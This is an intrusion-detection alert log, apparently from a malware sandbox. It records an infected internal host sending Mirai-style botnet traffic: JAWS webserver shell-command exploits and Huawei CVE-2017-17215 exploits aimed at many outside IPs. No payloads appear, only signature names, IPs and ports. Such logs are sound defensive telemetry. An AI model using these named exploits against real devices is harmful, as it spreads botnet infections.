2025-01-30T10:43:38.003583+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	33994	84.208.1.101	80	TCP
2025-01-30T10:43:38.003986+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49648	57.43.246.87	80	TCP
2025-01-30T10:43:38.003986+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49648	57.43.246.87	80	TCP
2025-01-30T10:43:38.004115+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58540	172.219.37.233	80	TCP
2025-01-30T10:43:38.004115+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	58540	172.219.37.233	80	TCP
2025-01-30T10:43:38.004751+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59770	167.129.217.66	80	TCP
2025-01-30T10:43:38.004751+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	59770	167.129.217.66	80	TCP
2025-01-30T10:43:38.004966+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51336	98.134.70.113	80	TCP
2025-01-30T10:43:38.004966+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51336	98.134.70.113	80	TCP
2025-01-30T10:43:38.005284+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49734	86.55.248.215	80	TCP
2025-01-30T10:43:38.005284+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49734	86.55.248.215	80	TCP
2025-01-30T10:43:38.006734+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	47690	71.90.180.190	80	TCP
2025-01-30T10:43:38.006734+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	47690	71.90.180.190	80	TCP
2025-01-30T10:43:38.006810+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35028	197.85.104.233	80	TCP
2025-01-30T10:43:38.006810+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35028	197.85.104.233	80	TCP
2025-01-30T10:43:38.007062+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	42458	186.142.7.42	80	TCP
2025-01-30T10:43:38.007062+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	42458	186.142.7.42	80	TCP
2025-01-30T10:43:38.008657+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	43172	27.58.7.60	80	TCP
2025-01-30T10:43:38.008657+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	43172	27.58.7.60	80	TCP
2025-01-30T10:43:38.008949+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51700	111.67.180.251	80	TCP
2025-01-30T10:43:38.008949+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51700	111.67.180.251	80	TCP
2025-01-30T10:43:38.009226+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	47128	134.239.180.253	80	TCP
2025-01-30T10:43:38.009226+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	47128	134.239.180.253	80	TCP
2025-01-30T10:43:38.009576+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	55752	206.47.186.128	80	TCP
2025-01-30T10:43:38.009576+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	55752	206.47.186.128	80	TCP
2025-01-30T10:43:38.009609+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59166	50.171.166.111	80	TCP
2025-01-30T10:43:38.009609+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	59166	50.171.166.111	80	TCP
2025-01-30T10:43:38.010589+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	56200	158.29.113.80	80	TCP
2025-01-30T10:43:38.010589+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	56200	158.29.113.80	80	TCP
2025-01-30T10:43:38.250618+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56570	156.254.95.229	37215	TCP
2025-01-30T10:43:38.723577+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42322	41.81.171.216	37215	TCP
2025-01-30T10:43:38.907923+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33952	166.217.206.166	80	TCP
2025-01-30T10:43:38.907923+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	33952	166.217.206.166	80	TCP
2025-01-30T10:43:39.050022+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49726	95.78.120.226	80	TCP
2025-01-30T10:43:39.050022+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49726	95.78.120.226	80	TCP
2025-01-30T10:43:40.018699+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44684	187.131.184.148	80	TCP
2025-01-30T10:43:40.018699+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44684	187.131.184.148	80	TCP
2025-01-30T10:43:40.050038+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46614	66.189.124.58	80	TCP
2025-01-30T10:43:40.050038+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46614	66.189.124.58	80	TCP
2025-01-30T10:43:40.065660+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51968	149.30.119.250	80	TCP
2025-01-30T10:43:40.065660+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51968	149.30.119.250	80	TCP
2025-01-30T10:43:40.065817+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50604	162.132.54.19	80	TCP
2025-01-30T10:43:40.065817+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	50604	162.132.54.19	80	TCP
2025-01-30T10:43:40.081276+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58356	4.150.126.235	80	TCP
2025-01-30T10:43:40.081276+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	58356	4.150.126.235	80	TCP
2025-01-30T10:43:40.757041+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37694	41.208.131.221	37215	TCP
2025-01-30T10:43:41.099090+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	55154	154.49.239.121	80	TCP
2025-01-30T10:43:41.099090+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	55154	154.49.239.121	80	TCP
2025-01-30T10:43:41.100719+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36590	76.37.39.165	80	TCP
2025-01-30T10:43:41.100719+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36590	76.37.39.165	80	TCP
2025-01-30T10:43:41.114588+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	42398	71.2.125.197	80	TCP
2025-01-30T10:43:41.114588+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	42398	71.2.125.197	80	TCP
2025-01-30T10:43:41.722048+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58904	41.190.142.129	37215	TCP
2025-01-30T10:43:41.722062+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60346	41.133.222.23	37215	TCP
2025-01-30T10:43:41.722092+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36758	41.153.44.241	37215	TCP
2025-01-30T10:43:41.722235+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42664	41.86.10.180	37215	TCP
2025-01-30T10:43:41.737634+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55476	197.71.230.8	37215	TCP
2025-01-30T10:43:41.738277+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40272	41.11.253.155	37215	TCP
2025-01-30T10:43:41.754039+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33538	197.233.59.223	37215	TCP
2025-01-30T10:43:41.754929+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54284	197.164.145.122	37215	TCP
2025-01-30T10:43:41.754973+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45560	197.237.226.147	37215	TCP
2025-01-30T10:43:41.755094+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58790	41.44.251.68	37215	TCP
2025-01-30T10:43:41.755231+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49890	197.78.17.158	37215	TCP
2025-01-30T10:43:41.760858+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49098	156.21.247.12	37215	TCP
2025-01-30T10:43:41.769070+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49232	41.37.76.13	37215	TCP
2025-01-30T10:43:41.769108+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34682	197.221.254.239	37215	TCP
2025-01-30T10:43:41.769108+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51564	41.151.19.223	37215	TCP
2025-01-30T10:43:41.769280+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34482	156.95.159.83	37215	TCP
2025-01-30T10:43:41.769768+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49366	156.119.5.151	37215	TCP
2025-01-30T10:43:41.769995+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52738	41.208.164.30	37215	TCP
2025-01-30T10:43:41.770541+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41108	41.176.87.120	37215	TCP
2025-01-30T10:43:41.770623+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52014	156.56.206.253	37215	TCP
2025-01-30T10:43:41.770742+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42918	41.207.66.55	37215	TCP
2025-01-30T10:43:41.770854+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49854	41.233.50.156	37215	TCP
2025-01-30T10:43:41.770921+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40356	156.36.212.12	37215	TCP
2025-01-30T10:43:41.771677+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44852	41.168.250.9	37215	TCP
2025-01-30T10:43:41.771754+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34668	197.17.114.83	37215	TCP
2025-01-30T10:43:41.772605+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36698	41.143.75.154	37215	TCP
2025-01-30T10:43:41.774952+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39438	197.211.136.231	37215	TCP
2025-01-30T10:43:41.808430+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56866	156.146.240.126	37215	TCP
2025-01-30T10:43:42.066510+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36188	131.247.120.184	80	TCP
2025-01-30T10:43:42.066510+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36188	131.247.120.184	80	TCP
2025-01-30T10:43:42.082938+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35930	35.20.39.82	80	TCP
2025-01-30T10:43:42.082938+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35930	35.20.39.82	80	TCP
2025-01-30T10:43:42.083022+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36688	208.74.208.117	80	TCP
2025-01-30T10:43:42.083022+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36688	208.74.208.117	80	TCP
2025-01-30T10:43:42.083057+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49340	53.249.137.27	80	TCP
2025-01-30T10:43:42.083057+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49340	53.249.137.27	80	TCP
2025-01-30T10:43:42.083303+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36744	114.180.248.112	80	TCP
2025-01-30T10:43:42.083303+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36744	114.180.248.112	80	TCP
2025-01-30T10:43:42.084973+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49364	201.95.105.187	80	TCP
2025-01-30T10:43:42.084973+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49364	201.95.105.187	80	TCP
2025-01-30T10:43:42.085071+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37508	103.136.14.42	80	TCP
2025-01-30T10:43:42.085071+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	37508	103.136.14.42	80	TCP
2025-01-30T10:43:42.096953+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54782	174.89.103.102	80	TCP
2025-01-30T10:43:42.096953+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	54782	174.89.103.102	80	TCP
2025-01-30T10:43:42.098920+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	32820	197.219.41.237	80	TCP
2025-01-30T10:43:42.098920+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	32820	197.219.41.237	80	TCP
2025-01-30T10:43:42.102316+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35344	41.12.59.97	80	TCP
2025-01-30T10:43:42.102316+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35344	41.12.59.97	80	TCP
2025-01-30T10:43:42.102583+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35366	71.17.145.151	80	TCP
2025-01-30T10:43:42.102583+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35366	71.17.145.151	80	TCP
2025-01-30T10:43:42.497339+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60750	156.195.163.17	37215	TCP
2025-01-30T10:43:42.753391+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55228	41.138.6.70	37215	TCP
2025-01-30T10:43:42.755273+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47616	197.71.38.157	37215	TCP
2025-01-30T10:43:42.768751+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37930	41.48.43.22	37215	TCP
2025-01-30T10:43:42.771271+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55136	41.49.143.122	37215	TCP
2025-01-30T10:43:42.771544+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46584	156.28.111.76	37215	TCP
2025-01-30T10:43:42.773188+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50368	41.239.240.33	37215	TCP
2025-01-30T10:43:42.774824+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38632	156.102.240.87	37215	TCP
2025-01-30T10:43:42.774856+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32938	156.25.122.218	37215	TCP
2025-01-30T10:43:42.852650+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40212	212.150.71.115	80	TCP
2025-01-30T10:43:42.852650+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	40212	212.150.71.115	80	TCP
2025-01-30T10:43:43.096917+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	55716	98.92.4.184	80	TCP
2025-01-30T10:43:43.096917+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	55716	98.92.4.184	80	TCP
2025-01-30T10:43:43.096920+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58440	148.164.163.137	80	TCP
2025-01-30T10:43:43.096920+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	58440	148.164.163.137	80	TCP
2025-01-30T10:43:43.096941+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34558	71.112.255.81	80	TCP
2025-01-30T10:43:43.096941+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34558	71.112.255.81	80	TCP
2025-01-30T10:43:43.097596+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37824	12.153.247.78	80	TCP
2025-01-30T10:43:43.097596+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	37824	12.153.247.78	80	TCP
2025-01-30T10:43:43.112451+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49104	130.33.236.144	80	TCP
2025-01-30T10:43:43.112451+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49104	130.33.236.144	80	TCP
2025-01-30T10:43:43.112497+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49854	87.107.11.30	80	TCP
2025-01-30T10:43:43.112497+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49854	87.107.11.30	80	TCP
2025-01-30T10:43:43.113244+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	38136	136.232.25.202	80	TCP
2025-01-30T10:43:43.113244+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	38136	136.232.25.202	80	TCP
2025-01-30T10:43:43.113301+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	45462	109.171.160.15	80	TCP
2025-01-30T10:43:43.113301+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	45462	109.171.160.15	80	TCP
2025-01-30T10:43:43.114270+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	52442	162.147.6.162	80	TCP
2025-01-30T10:43:43.114270+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	52442	162.147.6.162	80	TCP
2025-01-30T10:43:43.114288+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34494	82.176.52.10	80	TCP
2025-01-30T10:43:43.114288+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34494	82.176.52.10	80	TCP
2025-01-30T10:43:43.115391+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	39578	96.49.204.55	80	TCP
2025-01-30T10:43:43.115391+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	39578	96.49.204.55	80	TCP
2025-01-30T10:43:43.116441+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54584	216.93.163.243	80	TCP
2025-01-30T10:43:43.116441+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	54584	216.93.163.243	80	TCP
2025-01-30T10:43:43.128325+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	43616	149.178.71.70	80	TCP
2025-01-30T10:43:43.128325+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	43616	149.178.71.70	80	TCP
2025-01-30T10:43:43.128438+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40106	39.28.91.132	80	TCP
2025-01-30T10:43:43.128438+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	40106	39.28.91.132	80	TCP
2025-01-30T10:43:43.132073+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33968	190.215.89.35	80	TCP
2025-01-30T10:43:43.132073+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	33968	190.215.89.35	80	TCP
2025-01-30T10:43:43.132126+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	48224	52.109.179.55	80	TCP
2025-01-30T10:43:43.132126+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	48224	52.109.179.55	80	TCP
2025-01-30T10:43:43.133740+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36506	213.66.112.116	80	TCP
2025-01-30T10:43:43.133740+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36506	213.66.112.116	80	TCP
2025-01-30T10:43:43.134074+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34276	139.128.173.196	80	TCP
2025-01-30T10:43:43.134074+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34276	139.128.173.196	80	TCP
2025-01-30T10:43:43.135989+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41974	48.62.79.109	80	TCP
2025-01-30T10:43:43.135989+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	41974	48.62.79.109	80	TCP
2025-01-30T10:43:43.149703+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	42634	120.10.191.73	80	TCP
2025-01-30T10:43:43.149703+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	42634	120.10.191.73	80	TCP
2025-01-30T10:43:43.150716+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35928	131.40.194.42	80	TCP
2025-01-30T10:43:43.150716+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35928	131.40.194.42	80	TCP
2025-01-30T10:43:43.451666+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45200	156.246.240.109	37215	TCP
2025-01-30T10:43:43.788366+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55068	197.137.190.231	37215	TCP
2025-01-30T10:43:44.144037+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44624	94.101.151.218	80	TCP
2025-01-30T10:43:44.144037+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44624	94.101.151.218	80	TCP
2025-01-30T10:43:44.800981+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47162	197.176.38.201	37215	TCP
2025-01-30T10:43:44.801763+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45910	197.195.186.64	37215	TCP
2025-01-30T10:43:44.801769+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40862	156.99.201.107	37215	TCP
2025-01-30T10:43:44.805619+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58526	41.48.15.77	37215	TCP
2025-01-30T10:43:45.143897+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	60750	124.90.5.191	80	TCP
2025-01-30T10:43:45.143897+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	60750	124.90.5.191	80	TCP
2025-01-30T10:43:45.165448+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35138	140.18.245.156	80	TCP
2025-01-30T10:43:45.165448+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35138	140.18.245.156	80	TCP
2025-01-30T10:43:45.784462+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55928	156.183.222.130	37215	TCP
2025-01-30T10:43:45.799982+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47380	197.150.16.13	37215	TCP
2025-01-30T10:43:45.800072+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51310	197.140.43.67	37215	TCP
2025-01-30T10:43:45.800126+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45164	41.5.92.188	37215	TCP
2025-01-30T10:43:45.800211+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45822	41.4.75.31	37215	TCP
2025-01-30T10:43:45.800724+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38110	197.246.11.142	37215	TCP
2025-01-30T10:43:45.800857+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57476	197.147.27.63	37215	TCP
2025-01-30T10:43:45.800918+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38990	156.49.86.206	37215	TCP
2025-01-30T10:43:45.800982+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44416	156.232.136.89	37215	TCP
2025-01-30T10:43:45.802142+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38252	156.197.62.19	37215	TCP
2025-01-30T10:43:45.802210+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60072	197.100.190.180	37215	TCP
2025-01-30T10:43:45.802268+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45394	41.183.232.169	37215	TCP
2025-01-30T10:43:45.803755+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52002	197.127.45.148	37215	TCP
